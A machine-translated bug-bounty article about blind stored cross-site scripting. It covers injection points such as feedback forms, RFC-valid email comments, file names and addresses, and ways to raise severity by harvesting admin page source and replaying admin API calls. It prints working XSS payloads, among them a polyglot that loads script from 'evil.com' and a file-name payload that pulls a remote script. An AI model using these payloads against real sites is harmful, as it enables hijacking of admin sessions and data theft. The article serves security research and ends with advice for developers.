Bug Hunt,Bind-XSS和Fox技巧


狐狸对狩猎了解很多:)

许多人可能已经听说过BugBounty ,它是一个包含奖励和相关故事的漏洞搜索。 作为“漏洞猎手”之一,一年多以前,我在HackerOne站点开始了自己的旅程。 在这段时间里,我设法学习了很多有关不同类型的漏洞的知识,获得了很多经验,现在我想与社区分享这一点。

在本文中,我想谈谈一种漏洞类型,例如盲翻译跨站点脚本或盲存储跨站点脚本(如果翻译成俄语)。 如果您对此类主题感兴趣,或者您想提高应用程序的安全性,我邀请您注意。

许多Web应用程序都有一个管理面板或其其他变体,使您可以控制网站的内容,管理用户数据并执行许多其他特权操作。 通过访问特定IP地址池,仅HTTP cookie以及授权,可以保护管理门户。

但是,如果发现用户输入的内容是恶意的,并且应用程序无法正确清除用户发送的信息,则可以绕开所有这些保护机制。

使用工具


首先,让我们熟悉可以成功利用发现的Blind-XSS的工具 。 它与其他漏洞的利用方法不同。 通过发送恶意消息,我们不知道JavaScript是否成功集成到HTML页面中。 仅当管理员使用此代码访问页面时,才会执行恶意代码。 否则,我们可能永远不知道攻击是否成功。

专为Blind-XSS注入创建的各种框架可以为我们提供运营帮助:

  1. XSS HunterGitHub )-最受欢迎的框架之一
  2. ezXSS
  3. bXSS (带有短信通知)
  4. elScripto

还有许多其他。 每个框架都有其自身的特点,因此,每个寻宝者都选择最方便且最适合其需求的框架。 由于我使用XSS Hunter ,因此在本文的后面,我将介绍其功能以及如何使用它们来获得最佳效果。

设置好框架后,您将获得可以在不同情况下应用的现成有效负载,但是最常用的是polyglots,例如:

\-->'></style></div></article></script><script/src=//evil.com> 

入口点或注入点


所有入口点的结合是,没有正确清除其中输入的信息的JavaScript代码,并允许在管理页面的HTML结构中实现此代码。 我认为,最受欢迎的切入点是支持信息。

考虑那些我所知道的。

1.反馈表

通常,这种形式的字段如下:

  1. 标题
  2. 讯息
  3. 有时是电子邮件地址,以防管理员想要与邮件作者联系。

这些字段中的每一个都可能容易受到JavaScript注入的影响。 但是这里有一个小技巧:
如果您看到“电子邮件地址”字段,那么如果它不接受“电子邮件”结构以外的任何内容,请不要急于放弃。 尝试: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
引号和括号是电子邮件地址的有效部分,是根据RFC 2822 (第3.4.1节), RFC 3696 (第3节)的规范的注释。

我成功进行注入的一半只是通过电子邮件地址的注释进行的注入。 大多数情况下,在客户端(浏览器)上进行检查仍将不允许使用此类电子邮件。 但是我们知道,检查客户对我们没有任何意义:

简要介绍客户端验证和黑客


因此,仅在使用任何代理应用程序(例如Burp Suite)发送请求的过程中才需要替换电子邮件地址。

2.投诉/建议/评估表格

当然,您经常看到“文章有用吗?”这一行 (在本文中评分)在支持门户网站或文档中。 通过单击“否”按钮,他们可以向我们发送消息,说明为什么这篇文章没有用处以及可以改进的地方。 您可能已经了解在这种情况下我们的有效负载在哪里。

因此,如果您看到类似的要发送反馈的报价,则一定要注意它们并发送有效载荷,最终这将是成功的。

3.帐户注册

是的,在注册帐户时,极不可能在管理面板中的某个位置查看我们的帐户,但是,通过将有效负载插入电子邮件地址,我们以后可以使用它以注册用户的身份向网站发送消息。 同时,表格本身会自动在管理面板中显示我们的地址,尽管在发送任何表格或消息时并未直接要求提供该地址。

4.客户支持

最明显的切入点,并且最经常被利用。 每种请求支持服务的形式可能彼此都非常不同,因此请注意可在其中插入有效负载的任何字段。

下载文件的能力值得特别注意。 另一个技巧是可以将有效负载保留在文件名中,例如:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

并在文件本身中保留相同的脚本(感谢w9w的帮助)。

5.收货地址/公司/家

在与用户交互时,在送货服务,商店,酒店预订或其他处理地址的应用程序的情况下,当用户需要发送东西时,也经常使用该地址。

地址字段非常常见,有时会在现有地址级别进行验证。 因此,您可能需要在开头输入真实地址,并在地图上指出它,并且已经在发送请求的过程中将有效负载添加到有效地址中,以绕过应用程序检查。

6.隐藏的API

有时,在学习JavaScript代码时,您可能会发现应用程序中未使用的API端点。 例如,这可以是发送有关错误,调试等的信息。 可以基于JS发出请求并发送带有有效负载的消息。

开机自检和旁路保护机制


在从Blind-XSS的成功运行中获得反馈后,许多人急于向程序报告发现的结果,并奖励发现的漏洞。 但是,大多数情况下,此类漏洞会获得较高的优先级,但并非至关重要。 我们有几种方法来证明可能利用漏洞而造成的严重损害。

1.学习源HTML面板

每次成功执行操作后, XSS Hunter就会向我们发送以下信息:

1.用户cookie
2.用户代理用户
3.用户的IP地址
4.执行脚本的页面的URL
5.页面的HTML源代码
6.页面截图
7.推荐人



通常,没有会话cookie,因为它们具有HTTP-Only属性。 在这种情况下,对我们最有用的是HTML页面的源代码。 其中,您可以找到JavaScript。 此代码使您可以了解如何生成请求以执行管理操作。 有必要进行研究并尝试通过在Burp Suite或其他类似软件中手动创建请求来执行这些操作。

在我的情况下,管理面板位于我发送有效负载的同一域中,因此我无需额外注入就可以打开所有脚本(尽管可以在一次注入中完成)。 令我惊讶的是,尽管访问管理部分仍需要授权,但我设法将请求发送到管理API并像管理者一样管理内容。

不幸的是,我能够检测到这些漏洞的程序是私有的,无法命名或更详细地显示从JS代码提取请求的过程。

这项发现的结果是,我设法获得了2500美元而不是1000 美元 ,好像它是一个高优先级漏洞。

2.获取更多信息。

即使管理面板位于防火墙后面,并且基本上没有访问它的方法,您仍然可以获取更多信息并提高发现的漏洞的严重性。

XSS Hunter允许您将自己的JS代码添加到有效负载中,并指定要检索的其他页面:



首次成功操作后,您可以提取在研究HTML页面源代码的过程中获得的其他页面。 同样,您可以使用管理员权限执行请求,但这需要更复杂的JS代码。

另外,我认为您可以在管理面板的其他页面上添加递归HTML提取,在这些页面上可能会出现敏感信息,但是我还没有求助于此。

结论


  1. 我建议开发人员检查与电子邮件地址相关的所有字段,因为很多时候很多情况都依赖于对电子邮件地址结构的标准检查,而不是考虑可能生成一个完全有效的地址,而是带有恶意代码。
  2. 注意与反馈有关的所有次要字段。 它们是不同的,因此不可能全部列出。
  3. 不要懒惰地从接收到的HTML页面中提取其他信息,这很有可能有时会增加您的赏金。
  4. 尝试证明对每个Blind-XSS都具有关键影响。

我建议使用Telegram (仅使用俄语)订阅我的频道,以及使用Twitter (使用英语)订阅频道,因为很难收集如此大型文章的资料,但是我可以发布一些小技巧并经常查找。

链接可以在下面找到。

祝您狩猎愉快!

Source: https://habr.com/ru/post/zh-CN470818/


All Articles